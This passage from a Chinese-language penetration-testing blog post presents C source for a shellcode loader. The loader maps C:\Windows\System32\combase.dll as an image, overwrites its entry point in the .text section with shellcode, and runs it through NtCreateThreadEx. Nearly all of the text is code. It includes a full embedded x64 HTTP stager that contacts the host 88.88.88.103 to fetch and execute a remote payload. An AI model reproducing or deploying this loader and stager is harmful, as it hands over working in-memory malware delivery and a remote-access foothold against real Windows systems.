0x36, 0x34, 0x3B, 0x20, 0x54, 0x72, 0x69, 0x64, 0x65, 0x6E, 0x74, 0x2F, 0x34, 0x2E, 0x30, 0x3B, 0x20, 0x53, 0x4C, 0x43, 0x43, 0x32, 0x3B, 0x20, 0x2E, 0x4E, 0x45, 0x54, 0x20, 0x43, 0x4C, 0x52, 0x20, 0x32, 0x2E, 0x30, 0x2E, 0x35, 0x30, 0x37, 0x32, 0x37, 0x29, 0x0D, 0x0A, 0x00, 0x6B, 0xA3, 0x29, 0xED, 0x1C, 0xA8, 0x79, 0x69, 0x25, 0xE3, 0x11, 0x43, 0xEF, 0x68, 0xD6, 0x42, 0x29, 0xB5, 0x7A, 0x19, 0x99, 0x61, 0x7E, 0x98, 0x95, 0x9E, 0x59, 0x86, 0xC4, 0xF8, 0x2A, 0x07, 0xF6, 0x58, 0x29, 0x13, 0xB7, 0x5C, 0x00, 0x5B, 0x3B, 0x16, 0x77, 0xC2, 0xE9, 0x51, 0x76, 0xDF, 0xCB, 0x7D, 0x0D, 0xA1, 0x78, 0x45, 0x39, 0xDD, 0x48, 0xB1, 0xEA, 0xCB, 0xBE, 0x61, 0xE3, 0xD9, 0x7D, 0x5B, 0x8C, 0x01, 0x2E, 0x54, 0xBF, 0x5E, 0x09, 0xAB, 0xD4, 0xFC, 0x02, 0xEE, 0x8B, 0x01, 0x2D, 0xAA, 0x0F, 0xEC, 0x89, 0xF9, 0x6B, 0x0A, 0x79, 0x7E, 0xDF, 0x78, 0x55, 0xD3, 0xEE, 0x38, 0x1C, 0x7C, 0xD4, 0x90, 0x85, 0xE8, 0x7D, 0x16, 0x7E, 0x67, 0x3D, 0x5C, 0x6E, 0xBE, 0x59, 0xB8, 0x05, 0xB7, 0x7C, 0xBE, 0x24, 0xC9, 0x90, 0x16, 0x9E, 0xA8, 0x3C, 0xDE, 0x68, 0x68, 0x2E, 0x9B, 0x98, 0x70, 0xF7, 0xFA, 0x28, 0xA7, 0x31, 0x0B, 0xC5, 0xD0, 0xB3, 0xF6, 0x17, 0x36, 0x21, 0x9E, 0x06, 0xF8, 0x16, 0x84, 0x07, 0xA4, 0xD9, 0xEB, 0xB2, 0x6B, 0xF9, 0xB8, 0xEB, 0x0D, 0x24, 0xE3, 0x0A, 0x8F, 0x10, 0xA4, 0x6A, 0xB5, 0x0F, 0xF0, 0x5F, 0x18, 0xE0, 0x4B, 0x15, 0x91, 0xC1, 0x83, 0x03, 0x4A, 0xEC, 0xAA, 0x46, 0xC1, 0x71, 0x94, 0x3D, 0x3A, 0xB7, 0x6D, 0xB3, 0x47, 0xF8, 0x00, 0x41, 0xBE, 0xF0, 0xB5, 0xA2, 0x56, 0xFF, 0xD5, 0x48, 0x31, 0xC9, 0xBA, 0x00, 0x00, 0x40, 0x00, 0x41, 0xB8, 0x00, 0x10, 0x00, 0x00, 0x41, 0xB9, 0x40, 0x00, 0x00, 0x00, 0x41, 0xBA, 0x58, 0xA4, 0x53, 0xE5, 0xFF, 0xD5, 0x48, 0x93, 0x53, 0x53, 0x48, 0x89, 0xE7, 0x48, 0x89, 0xF1, 0x48, 0x89, 0xDA, 0x41, 0xB8, 0x00, 0x20, 0x00, 0x00, 0x49, 0x89, 0xF9, 0x41, 0xBA, 0x12, 0x96, 0x89, 0xE2, 0xFF, 0xD5, 0x48, 0x83, 0xC4, 0x20, 0x85, 0xC0, 0x74, 0xB6, 0x66, 0x8B, 0x07, 0x48, 0x01, 0xC3, 0x85, 0xC0, 0x75, 0xD7, 0x58, 0x58, 0x58, 0x48, 0x05, 0x00, 0x00, 0x00, 0x00, 0x50, 0xC3, 0xE8, 0x9F, 0xFD, 0xFF, 0xFF, 0x38, 0x38, 0x2E, 0x38, 0x38, 0x2E, 0x38, 0x38, 0x2E, 0x31, 0x30, 0x33, 0x00, 0x00, 0x01, 0x86, 0xA0 }; #endif int main() { HMODULE hNtdll = GetModuleHandleA("ntdll.dll"); pNtCreateSection NtCreateSection = (pNtCreateSection)GetProcAddress(hNtdll, "NtCreateSection"); pNtMapViewOfSection NtMapViewOfSection = (pNtMapViewOfSection)GetProcAddress(hNtdll, "NtMapViewOfSection"); HANDLE hFile = INVALID_HANDLE_VALUE; hFile = CreateFileW(L"C:\\Windows\\System32\\combase.dll",GENERIC_READ, 0,NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL,NULL); PHANDLE hSection = NULL; NtCreateSection(&hSection, SECTION_ALL_ACCESS,NULL,0x00, PAGE_READONLY, SEC_IMAGE, hFile); ULONG_PTR uMappedModule = NULL; SIZE_T sViewSize = NULL; NtMapViewOfSection(hSection, NtCurrentProcess(), &uMappedModule,NULL,NULL,NULL,&sViewSize, ViewShare, NULL,PAGE_EXECUTE_READWRITE); //获取dos头 PIMAGE_NT_HEADERS pImgNtHdrs = (PIMAGE_NT_HEADERS)(uMappedModule + ((PIMAGE_DOS_HEADER)uMappedModule)->e_lfanew); //遍历节头找到.text部分 PIMAGE_SECTION_HEADER pImgSecHdr = IMAGE_FIRST_SECTION(pImgNtHdrs); ULONG_PTR uTextAddress = NULL; SIZE_T sTextSize = NULL; for (int i = 0; i < pImgNtHdrs->FileHeader.NumberOfSections; i++) { //节名称在比较时使用了小写比较,0x20202020是为了忽略大小写。 if ((*(ULONG*)pImgSecHdr[i].Name | 0x20202020) == 'xet.') { //获取.text部分的起始地址和大小。 uTextAddress = uMappedModule + pImgSecHdr[i].VirtualAddress; sTextSize = pImgSecHdr[i].Misc.VirtualSize; break; } } //获取入口点 PULONG_PTR pEntryPnt = uMappedModule + pImgNtHdrs->OptionalHeader.AddressOfEntryPoint; //计算从入口点到.text部分末尾的大小 SIZE_T sTextSizeLeft = sTextSize - ((ULONG_PTR)pEntryPnt - uTextAddress); //判断从入口点到.text部分末尾的大小是否大于或等于有效载荷的大小 if (sTextSizeLeft >= sizeof(shellcode)) { printf("可以注入!!!"); } } ``` 最后一步就是注入`shellcode`了。注入`shellcode`非常简单,只需该内存区域更改为可读可写,将其shellcode通过`memcpy`函数写进去,再通过`VirtualProtect`将其更改为可执行,最后通过创建线程的方式来指向该内存区域的起始地址就可以执行了。 ```c #include <windows.h> #include <stdio.h> #include <winternl.h> // 手动定义 SECTION_INHERIT typedef enum _SECTION_INHERIT { ViewShare = 1, ViewUnmap = 2 } SECTION_INHERIT; typedef NTSTATUS(NTAPI* pNtCreateThreadEx)( OUT PHANDLE ThreadHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL, IN HANDLE ProcessHandle, IN PVOID StartRoutine, // 线程执行的函数地址 IN PVOID Argument OPTIONAL, IN ULONG CreateFlags, // 0x4 表示隐藏线程 IN SIZE_T ZeroBits, IN SIZE_T StackSize, IN SIZE_T MaximumStackSize, IN PVOID AttributeList OPTIONAL ); // NtCreateSection 函数指针定义 typedef NTSTATUS(NTAPI* pNtCreateSection)( PHANDLE SectionHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL, PLARGE_INTEGER MaximumSize OPTIONAL, ULONG SectionPageProtection, ULONG AllocationAttributes, HANDLE FileHandle OPTIONAL ); // NtMapViewOfSection 函数指针定义 typedef NTSTATUS(NTAPI* pNtMapViewOfSection)( HANDLE SectionHandle, HANDLE ProcessHandle, PVOID* BaseAddress, ULONG_PTR ZeroBits, SIZE_T CommitSize, PLARGE_INTEGER SectionOffset OPTIONAL, PSIZE_T ViewSize, SECTION_INHERIT InheritDisposition, ULONG AllocationType, ULONG Win32Protect ); #define NtCurrentProcess() ((HANDLE)(LONG_PTR)-1) #define DEMON #ifdef DEMON unsigned char shellcode[] = { 0xFC, 0x48, 0x83, 0xE4, 0xF0, 0xE8, 0xC8, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xD2, 0x65, 0x48, 0x8B, 0x52, 0x60, 0x48, 0x8B, 0x52, 0x18, 0x48, 0x8B, 0x52, 0x20, 0x48, 0x8B, 0x72, 0x50, 0x48, 0x0F, 0xB7, 0x4A, 0x4A, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0, 0xAC, 0x3C, 0x61, 0x7C, 0x02, 0x2C, 0x20, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0xE2, 0xED, 0x52, 0x41, 0x51, 0x48, 0x8B, 0x52, 0x20, 0x8B, 0x42, 0x3C, 0x48, 0x01, 0xD0, 0x66, 0x81, 0x78, 0x18, 0x0B, 0x02, 0x75, 0x72, 0x8B, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48, 0x85, 0xC0, 0x74, 0x67, 0x48, 0x01, 0xD0, 0x50, 0x8B, 0x48, 0x18, 0x44, 0x8B, 0x40, 0x20, 0x49, 0x01, 0xD0, 0xE3, 0x56, 0x48, 0xFF, 0xC9, 0x41, 0x8B, 0x34, 0x88, 0x48, 0x01, 0xD6, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0, 0xAC, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0x38, 0xE0, 0x75, 0xF1, 0x4C, 0x03, 0x4C, 0x24, 0x08, 0x45, 0x39, 0xD1, 0x75, 0xD8, 0x58, 0x44, 0x8B, 0x40, 0x24, 0x49, 0x01, 0xD0, 0x66, 0x41, 0x8B, 0x0C, 0x48, 0x44, 0x8B, 0x40, 0x1C, 0x49, 0x01, 0xD0, 0x41, 0x8B, 0x04, 0x88, 0x48, 0x01, 0xD0, 0x41, 0x58, 0x41, 0x58, 0x5E, 0x59, 0x5A, 0x41, 0x58, 0x41, 0x59, 0x41, 0x5A, 0x48, 0x83, 0xEC, 0x20, 0x41, 0x52, 0xFF, 0xE0, 0x58, 0x41, 0x59, 0x5A, 0x48, 0x8B, 0x12, 0xE9, 0x4F, 0xFF, 0xFF, 0xFF, 0x5D, 0x6A, 0x00, 0x49, 0xBE, 0x77, 0x69, 0x6E, 0x69, 0x6E, 0x65, 0x74, 0x00, 0x41, 0x56, 0x49, 0x89, 0xE6, 0x4C, 0x89, 0xF1, 0x41, 0xBA, 0x4C, 0x77, 0x26, 0x07, 0xFF, 0xD5, 0x48, 0x31, 0xC9, 0x48, 0x31, 0xD2, 0x4D, 0x31, 0xC0, 0x4D, 0x31, 0xC9, 0x41, 0x50, 0x41, 0x50, 0x41, 0xBA, 0x3A, 0x56, 0x79, 0xA7, 0xFF, 0xD5, 0xEB, 0x73, 0x5A, 0x48, 0x89, 0xC1, 0x41, 0xB8, 0x61, 0x1F, 0x00, 0x00, 0x4D, 0x31, 0xC9, 0x41, 0x51, 0x41, 0x51, 0x6A, 0x03, 0x41, 0x51, 0x41, 0xBA, 0x57, 0x89, 0x9F, 0xC6, 0xFF, 0xD5, 0xEB, 0x59, 0x5B, 0x48, 0x89, 0xC1, 0x48, 0x31, 0xD2, 0x49, 0x89, 0xD8, 0x4D, 0x31, 0xC9, 0x52, 0x68, 0x00, 0x02, 0x40, 0x84, 0x52, 0x52, 0x41, 0xBA, 0xEB, 0x55, 0x2E, 0x3B, 0xFF, 0xD5, 0x48, 0x89, 0xC6, 0x48, 0x83, 0xC3, 0x50, 0x6A, 0x0A, 0x5F, 0x48, 0x89, 0xF1, 0x48, 0x89, 0xDA, 0x49, 0xC7, 0xC0, 0xFF, 0xFF, 0xFF, 0xFF, 0x4D, 0x31, 0xC9, 0x52, 0x52, 0x41, 0xBA, 0x2D, 0x06, 0x18, 0x7B, 0xFF, 0xD5, 0x85, 0xC0, 0x0F, 0x85, 0x9D, 0x01, 0x00, 0x00, 0x48, 0xFF, 0xCF, 0x0F, 0x84, 0x8C, 0x01, 0x00, 0x00, 0xEB, 0xD3, 0xE9, 0xE4, 0x01, 0x00, 0x00, 0xE8, 0xA2, 0xFF, 0xFF, 0xFF, 0x2F, 0x7A, 0x47, 0x6B, 0x31, 0x00, 0xC4, 0x8F, 0x78, 0xBD, 0x62, 0x9C, 0xBC, 0x6F, 0xEA, 0x30, 0x98, 0x43, 0xEF, 0xC1, 0x45, 0xE5, 0x58, 0xF8, 0xBB, 0xEA, 0xAB, 0x02, 0xF3, 0x0A, 0x13, 0x81, 0xE9, 0xA3, 0x1E, 0x54, 0xF2, 0x5E, 0x08, 0x98, 0x21, 0xFB, 0x7D, 0x47, 0x10, 0xBA, 0x60, 0xA0, 0x83, 0x82, 0xFE, 0x10, 0x64, 0xBF, 0x7A, 0xD0, 0xF6, 0xCE, 0xA0, 0xA9, 0x59, 0x90, 0x54, 0x88, 0x88, 0xDA, 0x20, 0xBF, 0x82, 0xFA, 0xAA, 0x43, 0x6D, 0x8E, 0x45, 0x59, 0x13, 0x09, 0x16, 0x00, 0x55, 0x73, 0x65, 0x72, 0x2D, 0x41, 0x67, 0x65, 0x6E, 0x74, 0x3A, 0x20, 0x4D, 0x6F, 0x7A, 0x69, 0x6C, 0x6C, 0x61, 0x2F, 0x34, 0x2E, 0x30, 0x20, 0x28, 0x63, 0x6F, 0x6D, 0x70, 0x61, 0x74, 0x69, 0x62, 0x6C, 0x65, 0x3B, 0x20, 0x4D, 0x53, 0x49, 0x45, 0x20, 0x38, 0x2E, 0x30, 0x3B, 0x20, 0x57, 0x69, 0x6E, 0x64, 0x6F, 0x77, 0x73, 0x20, 0x4E, 0x54, 0x20, 0x36, 0x2E, 0x31, 0x3B, 0x20, 0x57, 0x4F, 0x57, 0x36, 0x34, 0x3B, 0x20, 0x54, 0x72, 0x69, 0x64, 0x65, 0x6E, 0x74, 0x2F, 0x34, 0x2E, 0x30, 0x3B, 0x20, 0x53, 0x4C, 0x43, 0x43, 0x32, 0x3B, 0x20, 0x2E, 0x4E, 0x45, 0x54, 0x20, 0x43, 0x4C, 0x52, 0x20, 0x32, 0x2E, 0x30, 0x2E, 0x35, 0x30, 0x37, 0x32, 0x37, 0x29, 0x0D, 0x0A, 0x00, 0x6B, 0xA3, 0x29, 0xED, 0x1C, 0xA8, 0x79, 0x69, 0x25, 0xE3, 0x11, 0x43, 0xEF, 0x68, 0xD6, 0x42, 0x29, 0xB5, 0x7A, 0x19, 0x99, 0x61, 0x7E, 0x98, 0x95, 0x9E, 0x59, 0x86, 0xC4, 0xF8, 0x2A, 0x07, 0xF6, 0x58, 0x29, 0x13, 0xB7, 0x5C, 0x00, 0x5B, 0x3B, 0x16, 0x77, 0xC2, 0xE9, 0x51, 0x76, 0xDF, 0xCB, 0x7D, 0x0D, 0xA1, 0x78, 0x45, 0x39, 0xDD, 0x48, 0xB1, 0xEA, 0xCB, 0xBE, 0x61, 0xE3, 0xD9, 0x7D, 0x5B, 0x8C, 0x01, 0x2E, 0x54, 0xBF, 0x5E, 0x09, 0xAB, 0xD4, 0xFC, 0x02, 0xEE, 0x8B, 0x01, 0x2D, 0xAA, 0x0F, 0xEC, 0x89, 0xF9, 0x6B, 0x0A, 0x79, 0x7E, 0xDF, 0x78, 0x55, 0xD3, 0xEE, 0x38, 0x1C, 0x7C, 0xD4, 0x90, 0x85, 0xE8, 0x7D, 0x16, 0x7E, 0x67, 0x3D, 0x5C, 0x6E, 0xBE, 0x59, 0xB8, 0x05, 0xB7, 0x7C, 0xBE, 0x24, 0xC9, 0x90, 0x16, 0x9E, 0xA8, 0x3C, 0xDE, 0x68, 0x68, 0x2E, 0x9B, 0x98, 0x70, 0xF7, 0xFA, 0x28, 0xA7, 0x31, 0x0B, 0xC5, 0xD0, 0xB3, 0xF6, 0x17, 0x36, 0x21, 0x9E, 0x06, 0xF8, 0x16, 0x84, 0x07, 0xA4, 0xD9, 0xEB, 0xB2, 0x6B, 0xF9, 0xB8, 0xEB, 0x0D, 0x24, 0xE3, 0x0A, 0x8F, 0x10, 0xA4, 0x6A, 0xB5, 0x0F, 0xF0, 0x5F, 0x18, 0xE0, 0x4B, 0x15, 0x91, 0xC1, 0x83, 0x03, 0x4A, 0xEC, 0xAA, 0x46, 0xC1, 0x71, 0x94, 0x3D, 0x3A, 0xB7, 0x6D, 0xB3, 0x47, 0xF8, 0x00, 0x41, 0xBE, 0xF0, 0xB5, 0xA2, 0x56, 0xFF, 0xD5, 0x48, 0x31, 0xC9, 0xBA, 0x00, 0x00, 0x40, 0x00, 0x41, 0xB8, 0x00, 0x10, 0x00, 0x00, 0x41, 0xB9, 0x40, 0x00, 0x00, 0x00, 0x41, 0xBA, 0x58, 0xA4, 0x53, 0xE5, 0xFF, 0xD5, 0x48, 0x93, 0x53, 0x53, 0x48, 0x89, 0xE7, 0x48, 0x89, 0xF1, 0x48, 0x89, 0xDA, 0x41, 0xB8, 0x00, 0x20, 0x00, 0x00, 0x49, 0x89, 0xF9, 0x41, 0xBA, 0x12, 0x96, 0x89, 0xE2, 0xFF, 0xD5, 0x48, 0x83, 0xC4, 0x20, 0x85, 0xC0, 0x74, 0xB6, 0x66, 0x8B, 0x07, 0x48, 0x01, 0xC3, 0x85, 0xC0, 0x75, 0xD7, 0x58, 0x58, 0x58, 0x48, 0x05, 0x00, 0x00, 0x00, 0x00, 0x50, 0xC3, 0xE8, 0x9F, 0xFD, 0xFF, 0xFF, 0x38, 0x38, 0x2E, 0x38, 0x38, 0x2E, 0x38, 0x38, 0x2E, 0x31, 0x30, 0x33, 0x00, 0x00, 0x01, 0x86, 0xA0 }; #endif int main() { HMODULE hNtdll = GetModuleHandleA("ntdll.dll"); pNtCreateSection NtCreateSection = (pNtCreateSection)GetProcAddress(hNtdll, "NtCreateSection"); pNtMapViewOfSection NtMapViewOfSection = (pNtMapViewOfSection)GetProcAddress(hNtdll, "NtMapViewOfSection"); HANDLE hFile = INVALID_HANDLE_VALUE; hFile = CreateFileW(L"C:\\Windows\\System32\\combase.dll",GENERIC_READ, 0,NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL,NULL); PHANDLE hSection = NULL; NtCreateSection(&hSection, SECTION_ALL_ACCESS,NULL,0x00, PAGE_READONLY, SEC_IMAGE, hFile); ULONG_PTR uMappedModule = NULL; SIZE_T sViewSize = NULL; NtMapViewOfSection(hSection, NtCurrentProcess(), &uMappedModule,NULL,NULL,NULL,&sViewSize, ViewShare, NULL,PAGE_EXECUTE_READWRITE); //获取dos头 PIMAGE_NT_HEADERS pImgNtHdrs = (PIMAGE_NT_HEADERS)(uMappedModule + ((PIMAGE_DOS_HEADER)uMappedModule)->e_lfanew); //遍历节头找到.text部分 PIMAGE_SECTION_HEADER pImgSecHdr = IMAGE_FIRST_SECTION(pImgNtHdrs); ULONG_PTR uTextAddress = NULL; SIZE_T sTextSize = NULL; for (int i = 0; i < pImgNtHdrs->FileHeader.NumberOfSections; i++) { //节名称在比较时使用了小写比较,0x20202020是为了忽略大小写。 if ((*(ULONG*)pImgSecHdr[i].Name | 0x20202020) == 'xet.') { //获取.text部分的起始地址和大小。 uTextAddress = uMappedModule + pImgSecHdr[i].VirtualAddress; sTextSize = pImgSecHdr[i].Misc.VirtualSize; break; } } //获取入口点 PULONG_PTR pEntryPnt = uMappedModule + pImgNtHdrs->OptionalHeader.AddressOfEntryPoint; //计算从入口点到.text部分末尾的大小 SIZE_T sTextSizeLeft = sTextSize - ((ULONG_PTR)pEntryPnt - uTextAddress); //判断从入口点到.text部分末尾的大小是否大于或等于有效载荷的大小 if (sTextSizeLeft >= sizeof(shellcode)) { printf("可以注入!!!"); } DWORD dwOldProtection = 0x00; VirtualProtect(pEntryPnt, sizeof(shellcode), PAGE_READWRITE, &dwOldProtection); memcpy(pEntryPnt, shellcode, sizeof(shellcode)); VirtualProtect(pEntryPnt, sizeof(shellcode), dwOldProtection, &dwOldProtection); pNtCreateThreadEx NtCreateThreadEx = (pNtCreateThreadEx)GetProcAddress(hNtdll, "NtCreateThreadEx"); PHANDLE hThread = NULL; NtCreateThreadEx(&hThread, THREAD_ALL_ACCESS, NULL, NtCurrentProcess(), pEntryPnt, NULL, FALSE, 0x00, 0x00, 0x00, NULL); WaitForSingleObject(hThread, INFINITE); } ```
发表于 2025-02-24 09:34:44
阅读 ( 1481 )
分类:
渗透测试
2 推荐
收藏
0 条评论
请先
登录
后评论
南陈
2 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!